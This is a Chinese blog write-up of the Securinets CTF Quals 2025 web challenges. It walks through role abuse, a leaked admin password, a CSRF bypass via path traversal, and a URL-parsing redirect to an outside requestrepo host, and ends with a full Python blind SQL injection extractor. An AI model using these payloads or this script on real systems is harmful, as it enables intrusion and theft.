深入解析:securinets ctf quals 2025 web all

Puzzle

我们似乎可以注册更高权限的账号

@app.route('/confirm-register', methods=['POST'])
def confirm_register():
# 获取注册表单信息
username = request.form['username']
email = request.form.get('email', '')
# 生成随机密码
alphabet = string.ascii_letters + string.digits + '!@#$%^&*'
password = ''.join(secrets.choice(alphabet) for _ in range(12))
# 获取角色,默认为2(普通用户)
role = request.form.get('role', '2')
# 角色映射表
role_map = {
'1': 'editor',
'2': 'user',
}
# 禁止注册管理员账号
if role == '0':
return jsonify({'error': 'Admin registration is not allowed.'}), 403
# 检查角色是否合法
if role not in role_map:
return jsonify({'error': 'Invalid role id.'}), 400
# 生成用户唯一ID
uid = str(uuid4())

可以看别的用户的密码

@app.route('/users/<string:target_uuid>')
  def get_user_details(target_uuid):
  # 获取用户详细信息(仅管理员和编辑可用)
  current_uuid = session.get('uuid')
  if not current_uuid:
  return jsonify({'error': 'Unauthorized'}), 401
  current_user = get_user_by_uuid(current_uuid)
  if not current_user or current_user['role'] not in ('0', '1'):
  return jsonify({'error': 'Invalid user role'}), 403
  with sqlite3.connect(DB_FILE) as conn:
  conn.row_factory = sqlite3.Row
  c = conn.cursor()
  c.execute("""
  SELECT uuid, username, email, phone_number, role, password
  FROM users
  WHERE uuid = ?
  """, (target_uuid,))
  user = c.fetchone()
  if not user:
  return jsonify({'error': 'User not found'}), 404
  return jsonify({
  'uuid': user['uuid'],
  'username': user['username'],
  'email': user['email'],
  'phone_number': user['phone_number'],
  'role': user['role'],
  'password': user['password']
  })

任何登录的人都能强行解释请求协作

@app.route('/collab/accept/<string:request_uuid>', methods=['POST'])
  def accept_collaboration(request_uuid):
  # 接受协作请求
  if not session.get('uuid'):
  return jsonify({'error': 'Unauthorized'}), 401
  user = get_user_by_uuid(session['uuid'])
  if not user:
  return redirect('/login')
  if user['role'] == '0':
  return jsonify({'error': 'Admins cannot collaborate'}), 403
  try:
  with sqlite3.connect(DB_FILE) as conn:
  conn.row_factory = sqlite3.Row
  c = conn.cursor()
  c.execute("SELECT * FROM collab_requests WHERE uuid = ?", (request_uuid,))
  request = c.fetchone()
  if not request:
  return jsonify({'error': 'Request not found'}), 404
  # 协作文章入库
  c.execute("""
  INSERT INTO articles (uuid, title, content, author_uuid, collaborator_uuid)
  VALUES (?, ?, ?, ?, ?)
  """, (request['article_uuid'], request['title'], request['content'],
  request['from_uuid'], request['to_uuid']))
  c.execute("UPDATE collab_requests SET status = 'accepted' WHERE uuid = ?", (request_uuid,))
  conn.commit()
  return jsonify({'message': 'Collaboration accepted'})
  except Exception as e:
  return jsonify({'error': str(e)}), 500

request_uuid 会被渲染到前端

<small class="text-muted">Requested by {{ request.requester_name }}</small>
<div>
<span class="d-none">{{ request.uuid }}</span>
<button class="btn btn-success btn-sm" onclick="acceptCollaboration('{{ request.uuid }}')">Accept</button>
</div>

主页卡片里渲染了文章作者与协作者的用户 UUID!

<div class="card-footer">
    <a href="/article/{{ article.uuid }}" class="read-more-btn">
  <span>Read Article</span>
  <i class="fas fa-arrow-right ms-2"></i>
  </a>
    <div class="article-actions">
      <button class="action-btn" title="Share">
    <i class="fas fa-share-alt"></i>
    </button>
      <button class="action-btn" title="Bookmark">
    <i class="fas fa-bookmark"></i>
    </button>
  </div>
</div>
<!-- Hidden UUIDs for functionality -->
<span class="d-none author-uuid">{{ article.author_uuid }}</span>
  {% if article.collaborator_uuid %}
<span class="d-none collaborator-uuid">{{ article.collaborator_uuid }}</span>
  {% endif %}

获得admin密码

{"email":"admin@securinets.tn","password":"Adm1nooooX333!123!!%","phone_number":"77777777","role":"0","username":"admin","uuid":"9075229d-9bcd-4f8b-9fb0-a484cb3bf914"}

然后/data里有个压缩包,密码在exe里

QEF

S3cret5

这里有sql个注入后端数据库 PostgreSQL 16

// 对输入进行简单的字符过滤,只允许字母、数字、空格、下划线和短横线
function sanitizeInput(input) {
return input.replace(/[^a-zA-Z0-9 _-]/g, '');
}
// 检查字段名是否在允许的字段列表中
function isValidFilterField(field, allowedFields) {
return allowedFields.includes(field);
}
// 构造SQL的WHERE子句和参数数组,用于过滤查询
function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
if (!filterBy || !keyword) {
// 如果没有过滤字段或关键字,则不添加过滤条件
return { clause: "", params: [] };
}
// 构造WHERE子句,使用参数化查询防止SQL注入
const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
const params = [`%${keyword}%`];
return { clause, params };
}
// 导出辅助函数
module.exports = { filterBy, sanitizeInput, isValidFilterField };
// 创建flags表(如果不存在)
await pool.query(`
CREATE TABLE IF NOT EXISTS flags (
id SERIAL PRIMARY KEY,
flag TEXT NOT NULL
)
`);

盲注应该是可以,但是只有管理能用

有个addadmin,但是怎么绕过CSRFtoken呢?

POST http://localhost:3000/admin/addAdmin HTTP/1.1
Host: localhost:3000
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: _BEAMER_USER_ID_TCocQlcK73424=07fa8af0-e1fb-47d6-b3ed-2d9dd118d7a4; _csrf=AltGW0XbdXTdLRGYTtfTfoqg; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5NjI5ODM3LCJleHAiOjE3NTk2MzM0Mzd9.R_zg-y4YeaJv78fawdjioLMqix4buqNQNebn0mfUow8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1
2
HTTP/1.1 403 Forbidden
Connection: close
Content-Length: 78
Content-Type: text/html; charset=utf-8
Date: Sun, 05 Oct 2025 02:38:23 GMT
Etag: W/"4e-3/yT+2wrX2l0t6Lpflr3Ph+2Flw"
X-Powered-By: Express

403 - Invalid CSRF Token

Please refresh the page and try again.

report这里可以用解析差异绕

if (!url || !url.startsWith("http://localhost:3000")) {
return res.status(400).send("Invalid URL");
}
http://localhost:3000@mojqlab5.requestrepo.com

这里的profileId是可控的,我们甚至可以发到别的地方,但是有什么用呢?

http://localhost:3000/user/profile/?id=1&id=../
// 解析URL参数,获取profileId
const urlParams = new URLSearchParams(window.location.search);
const profileIds = urlParams.getAll("id");
const profileId = profileIds[profileIds.length - 1];
// 访问日志记录
fetch("/log/"+profileId, {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: "<%= user.id %>", // 当前用户ID
  action: "Visited user profile with id=" + profileId, // 访问行为描述
  _csrf: csrfToken // CSRF令牌
  })
  })

发现可以提升admin,不用解析差异了

http://localhost:3000/user/profile/?id=1&id=../admin/addAdmin
POST http://localhost:3000/admin/addAdmin HTTP/1.1
Host: localhost:3000
Content-Length: 135
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/user/profile/?id=1&id=../admin/addAdmin
Accept-Encoding: gzip, deflate, br
Cookie: _BEAMER_USER_ID_TCocQlcK73424=07fa8af0-e1fb-47d6-b3ed-2d9dd118d7a4; _csrf=AltGW0XbdXTdLRGYTtfTfoqg; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5NjM1MDIxLCJleHAiOjE3NTk2Mzg2MjF9.56SC63bhzxIXks5YeE8EVZKlS-FE-Oqg78ooznqdYp4
Connection: keep-alive
{"userId":"1","action":"Visited user profile with id=../admin/addAdmin","_csrf":"4xfGl6kC-qc1p9FwsWtlw0i7vonTu7YyBSzHR1qm6IkFVdYqO-Jc"}
HTTP/1.1 200 OK
Connection: close
Content-Length: 117
Content-Type: application/json; charset=utf-8
Date: Sun, 05 Oct 2025 03:38:42 GMT
Etag: W/"75-uz7/tpwY7WoLoSMa8SDGN8XtYlc"
X-Powered-By: Express
{"message":"Role updated","user":{"id":1,"username":"admin1","description":"Admin account with ID 1","role":"admin"}}

现在获得admin之后怎么盲注获得flag?

SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
FROM msgs
INNER JOIN users ON msgs.userId = users.id
WHERE msgs."msg" = msgs."msg" and $1=$1 and EXISTS (select flag from flags where flag like '{}')--"LIKE $1
ORDER BY msgs.createdAt DESC
msg" = msgs."msg" and $1=$1 and EXISTS (select flag from flags where flag like '{}')--

好了

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
基于管理员会话对 /admin/msgs 的列名注入进行布尔盲注,提取 PostgreSQL flags 表中的 flag。
工作流程:
1) 使用提供的管理员用户名/密码登录,获取会话 cookie(token)。
2) 每次请求前从 /csrf-token 获取新的 CSRF Token,通过 header 发送(x-csrf-token)。
3) 构造注入:在 filterBy 中闭合列名引号,加入布尔表达式,并用 -- 注释掉后续片段。
例如:filterBy = 'msg" = msgs."msg" AND (条件) --'
最终 SQL 近似:WHERE msgs."msg" = msgs."msg" AND (条件) --" LIKE $1
条件为真 → 返回有数据行;条件为假 → 返回 0 行。通过解析 HTML 中 <tbody> 的 <tr> 数量判断真假。
  注意:
  - 该脚本默认目标为 http://localhost:3000,可通过 --base 修改。
  - 登录接口:POST /auth/login 期望 JSON {username, password}。
  - 注入接口:POST /admin/msgs 接受 JSON {filterBy, keyword},需 CSRF 头。
  """
  import argparse
  import sys
  import re
  import time
  import uuid
  from typing import Optional
  import requests
  class AdminBlindInjector:
  def __init__(self, base_url: str, username: str, password: str, timeout: float = 10.0, delay: float = 0.0, verbose: bool = True):
  self.base_url = base_url.rstrip('/')
  self.username = username
  self.password = password
  self.timeout = timeout
  self.delay = delay  # 每次探测后的可选延时(秒)
  self.session = requests.Session()
  self._csrf_cached: Optional[str] = None  # 复用 CSRF 令牌(403 时刷新)
  self.seed_keyword: Optional[str] = None  # 用于 LIKE 过滤的唯一关键字,减少返回行数
  self.verbose = verbose
  # 统计信息
  self.stats = {
  "csrf_fetches": 0,
  "csrf_refreshes": 0,
  "admin_posts": 0,
  "admin_posts_403": 0,
  "probes": 0,
  "probe_total_ms": 0.0,
  "message_posts": 0,
  "login_attempts": 0,
  }
  def _vprint(self, msg: str) -> None:
  if self.verbose:
  print(msg)
  def _get_csrf_token(self, force_refresh: bool = False) -> str:
  """从 /csrf-token 获取 CSRF Token;默认复用缓存,必要时刷新。"""
  if self._csrf_cached and not force_refresh:
  self._vprint("[v] 使用缓存 CSRF Token")
  return self._csrf_cached
  url = f"{self.base_url}/csrf-token"
  resp = self.session.get(url, timeout=self.timeout)
  resp.raise_for_status()
  data = resp.json()
  token = data.get("csrfToken")
  if not token:
  raise RuntimeError("未获取到 CSRF Token")
  self._csrf_cached = token
  if force_refresh:
  self.stats["csrf_refreshes"] += 1
  self._vprint("[v] 刷新 CSRF Token 成功")
  else:
  self.stats["csrf_fetches"] += 1
  self._vprint("[v] 获取 CSRF Token 成功")
  return token
  def login(self) -> None:
  """使用管理员凭据登录,获取 token Cookie。"""
  url = f"{self.base_url}/auth/login"
  csrf_token = self._get_csrf_token()
  payload = {"username": self.username, "password": self.password}
  headers = {
  "Content-Type": "application/json",
  "Accept": "application/json",
  "x-csrf-token": csrf_token,
  }
  self.stats["login_attempts"] += 1
  self._vprint("[v] 正在登录管理端……")
  resp = self.session.post(url, json=payload, headers=headers, timeout=self.timeout)
  if resp.status_code != 200:
  raise RuntimeError(f"登录失败,HTTP {resp.status_code}: {resp.text[:200]}")
  try:
  data = resp.json()
  except Exception:
  raise RuntimeError(f"登录响应非 JSON: {resp.text[:200]}")
  if data.get("message") != "Login successful":
  raise RuntimeError(f"登录失败:{data}")
  self._vprint("[v] 登录成功,已获取会话 Cookie")
  def create_message(self, text: str, msg_type: str = "general") -> None:
  """创建一条消息,确保 LIKE 仅命中极少行以加速解析。"""
  url = f"{self.base_url}/msg"
  csrf_token = self._get_csrf_token()
  headers = {
  "Content-Type": "application/json",
  "Accept": "application/json",
  "x-csrf-token": csrf_token,
  }
  payload = {"msg": text, "type": msg_type}
  self.stats["message_posts"] += 1
  self._vprint(f"[v] 创建消息用于筛选:{text}")
  resp = self.session.post(url, json=payload, headers=headers, timeout=self.timeout)
  if resp.status_code == 403:
  # token 失效则刷新一次
  headers["x-csrf-token"] = self._get_csrf_token(force_refresh=True)
  resp = self.session.post(url, json=payload, headers=headers, timeout=self.timeout)
  self._vprint("[v] 收到 403,已刷新 CSRF 并重试提交消息")
  if resp.status_code != 200:
  raise RuntimeError(f"创建消息失败,HTTP {resp.status_code}: {resp.text[:200]}")
  try:
  data = resp.json()
  except Exception:
  raise RuntimeError(f"创建消息响应非 JSON: {resp.text[:200]}")
  if data.get("message") != "Msg submitted":
  raise RuntimeError(f"创建消息失败:{data}")
  self._vprint("[v] 创建消息成功")
  def ensure_seed(self, preferred_seed: Optional[str] = None) -> None:
  """确保存在唯一关键字的消息;设置 self.seed_keyword 用于后续 LIKE。"""
  if self.seed_keyword:
  self._vprint(f"[v] 复用已存在的种子关键字:{self.seed_keyword}")
  return
  seed = preferred_seed or f"seed-{uuid.uuid4().hex[:12]}"
  self.create_message(seed)
  self.seed_keyword = seed
  self._vprint(f"[v] 设定种子关键字:{self.seed_keyword}")
  def _post_admin_msgs(self, filter_by: str, keyword: Optional[str] = None) -> str:
  """对 /admin/msgs 发起 POST 请求并返回 HTML 文本。"""
  csrf_token = self._get_csrf_token()
  url = f"{self.base_url}/admin/msgs"
  headers = {
  "Content-Type": "application/x-www-form-urlencoded",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  "Origin": self.base_url,
  "Referer": f"{self.base_url}/admin/msgs",
  }
  payload = {
  "_csrf": csrf_token,
  "filterBy": filter_by,
  "keyword": (keyword if keyword is not None else (self.seed_keyword or "%")),
  }
  self.stats["admin_posts"] += 1
  resp = self.session.post(url, data=payload, headers=headers, timeout=self.timeout)
  if resp.status_code == 403:
  # 刷新 CSRF 后重试一次
  payload["_csrf"] = self._get_csrf_token(force_refresh=True)
  self.stats["admin_posts_403"] += 1
  self._vprint("[v] /admin/msgs 返回 403,刷新 CSRF 后重试……")
  resp = self.session.post(url, data=payload, headers=headers, timeout=self.timeout)
  if resp.status_code != 200:
  raise RuntimeError(f"注入请求失败,HTTP {resp.status_code}: {resp.text[:200]}")
  return resp.text
  @staticmethod
  def _has_rows(html_text: str) -> bool:
  """解析 admin-msgs.ejs 渲染后的 <tbody> 部分,判断是否存在至少一行 <tr>。"""
  tbody_match = re.search(r"<tbody>([\s\S]*?)</tbody>", html_text, re.IGNORECASE)
    if not tbody_match:
    # 若模板变化导致匹配不到,则退化为检查是否出现任何数据行的粗略方法
    return "<td>" in html_text
      tbody = tbody_match.group(1)
      return bool(re.search(r"<tr>", tbody, re.IGNORECASE))
        def probe(self, condition_sql: str) -> bool:
        """
        执行一次布尔探测:构造 filterBy 注入携带 condition_sql,返回 True/False。
        condition_sql 需要是能在 AND ( ... ) 内独立成立的布尔表达式,例如:
        EXISTS (SELECT 1 FROM flags WHERE ascii(substring(flag,1,1)) > 64)
        """
        # 通过在列名注入中追加 AND "msg",让后续模板拼接的 'LIKE $1' 继续生效,
        # 从而避免参数数量与占位符不匹配的问题;同时将 keyword 设为 '%',不影响布尔判断。
        injected_filter = f"msg\" = msgs.\"msg\" AND ({condition_sql}) AND \"msg"
        t0 = time.perf_counter()
        html = self._post_admin_msgs(injected_filter)
        elapsed_ms = (time.perf_counter() - t0) * 1000.0
        result = self._has_rows(html)
        self.stats["probes"] += 1
        self.stats["probe_total_ms"] += elapsed_ms
        self._vprint(f"[v] 探测 #{self.stats['probes']}: {condition_sql} -> {result} ({elapsed_ms:.1f} ms)")
        if self.delay > 0:
        time.sleep(self.delay)
        return result
        def find_flag_length(self, max_cap: int = 512) -> int:
        """先指数扩增上界,再二分搜索精确长度(length(flag))。"""
        def has_len_ge(n: int) -> bool:
        cond = f"EXISTS (SELECT 1 FROM flags WHERE length(flag) >= {n})"
        ok = self.probe(cond)
        self._vprint(f"[v] 长度判定:length(flag) >= {n} -> {ok}")
        return ok
        # 指数扩增找到上界
        low, high = 0, 1
        self._vprint("[v] 开始指数扩增上界以估计 flag 长度……")
        while has_len_ge(high):
        low = high
        high *= 2
        if high > max_cap:
        high = max_cap
        break
        self._vprint(f"[v] 扩增上界:low={low}, high={high}")
        # 二分锁定长度(寻找最大的 len 使得 len(flag) >= len)
        self._vprint(f"[v] 二分锁定长度区间:初始 low={low}, high={high}")
        while low < high:
        mid = (low + high + 1) // 2
        ok = has_len_ge(mid)
        self._vprint(f"[v] 二分:mid={mid} -> {ok}")
        if ok:
        low = mid
        else:
        high = mid - 1
        self._vprint(f"[v] 区间更新:low={low}, high={high}")
        return low
        def find_char_at(self, pos: int, low_ascii: int = 32, high_ascii: int = 126) -> Optional[str]:
        """对第 pos 位字符(1 起始)做 ASCII 二分搜索,返回字符;如失败返回 None。"""
        lo, hi = low_ascii, high_ascii
        # 先检查是否为空位(若 pos 超出长度,下面探测会不稳定,调用方应先通过长度控制)
        # 二分:查找最大值 <= hi 的确切字符
        self._vprint(f"[v] 提取第 {pos} 位字符:ASCII 范围初始 lo={lo}, hi={hi}")
        while lo < hi:
        mid = (lo + hi + 1) // 2
        cond = f"EXISTS (SELECT 1 FROM flags WHERE ascii(substring(flag,{pos},1)) >= {mid})"
        ok = self.probe(cond)
        self._vprint(f"[v] 二分字符:mid={mid} -> {ok}")
        if ok:
        lo = mid
        else:
        hi = mid - 1
        self._vprint(f"[v] 字符区间更新:lo={lo}, hi={hi}")
        # 校验得到的 lo 是否匹配
        confirm = f"EXISTS (SELECT 1 FROM flags WHERE ascii(substring(flag,{pos},1)) = {lo})"
        if self.probe(confirm):
        try:
        ch = chr(lo)
        self._vprint(f"[v] 第 {pos} 位确认成功:'{ch}' (ASCII {lo})")
        return ch
        except ValueError:
        return None
        return None
        def extract_flag(self) -> str:
        length = self.find_flag_length()
        if length <= 0:
        raise RuntimeError("未探测到 flag,长度为 0")
        print(f"[+] flag 长度 = {length}")
        chars = []
        for i in range(1, length + 1):
        ch = self.find_char_at(i)
        if ch is None:
        raise RuntimeError(f"第 {i} 位字符提取失败")
        chars.append(ch)
        sys.stdout.write(f"\r[+] 进度 {i}/{length}: {''.join(chars)}")
        sys.stdout.flush()
        print("")
        return "".join(chars)
        def main() -> None:
        parser = argparse.ArgumentParser(description="Admin 布尔盲注提取 flags.flag")
        parser.add_argument("-b", "--base", default="http://localhost:3000", help="目标站点基址,如 http://localhost:3000")
        parser.add_argument("-u", "--username", required=True, help="管理员用户名")
        parser.add_argument("-p", "--password", required=True, help="管理员密码")
        parser.add_argument("--timeout", type=float, default=10.0, help="HTTP 超时时间(秒)")
        parser.add_argument("--delay", type=float, default=0.0, help="每次探测后的延时(秒)")
        parser.add_argument("--seed-key", default=None, help="用于 LIKE 的唯一关键字;默认为随机生成")
        parser.add_argument("--quiet", action="store_true", help="静默模式,减少输出")
        args = parser.parse_args()
        injector = AdminBlindInjector(
        base_url=args.base,
        username=args.username,
        password=args.password,
        timeout=args.timeout,
        delay=args.delay,
        verbose=not args.quiet,
        )
        start_ts = time.perf_counter()
        print("[*] 正在登录……")
        injector.login()
        print("[+] 登录成功")
        # 创建唯一种子消息,确保 LIKE 仅命中极少行以减少响应体大小
        print("[*] 正在创建种子消息以加速布尔判定……")
        injector.ensure_seed(args.seed_key)
        print(f"[+] 已设置种子关键字: {injector.seed_keyword}")
        print("[*] 开始盲注提取 flag……")
        flag = injector.extract_flag()
        print(f"[+] flag = {flag}")
        # 执行总结
        total_ms = (time.perf_counter() - start_ts) * 1000.0
        avg_probe = (injector.stats["probe_total_ms"] / injector.stats["probes"]) if injector.stats["probes"] else 0.0
        print("[=] 执行统计:")
        print(f"    - 登录尝试: {injector.stats['login_attempts']}")
        print(f"    - CSRF 获取: {injector.stats['csrf_fetches']}, 刷新: {injector.stats['csrf_refreshes']}")
        print(f"    - 创建消息: {injector.stats['message_posts']}")
        print(f"    - 管理端请求: {injector.stats['admin_posts']} (403 重试: {injector.stats['admin_posts_403']})")
        print(f"    - 探测次数: {injector.stats['probes']},平均耗时: {avg_probe:.1f} ms/次")
        print(f"    - 总耗时: {total_ms:.1f} ms")
        if __name__ == "__main__":
        try:
        main()
        except Exception as e:
        print(f"[-] 发生错误:{e}")
        sys.exit(1)
python3 exploit_flag_blind.py -b http://web1-79e4a3bc.p1.securinets.tn/ -u A5rZ -p A5rZ

QEF

posted on 2025-11-07 08:45  wgwyanfs  阅读(52)  评论(0)    收藏  举报

导航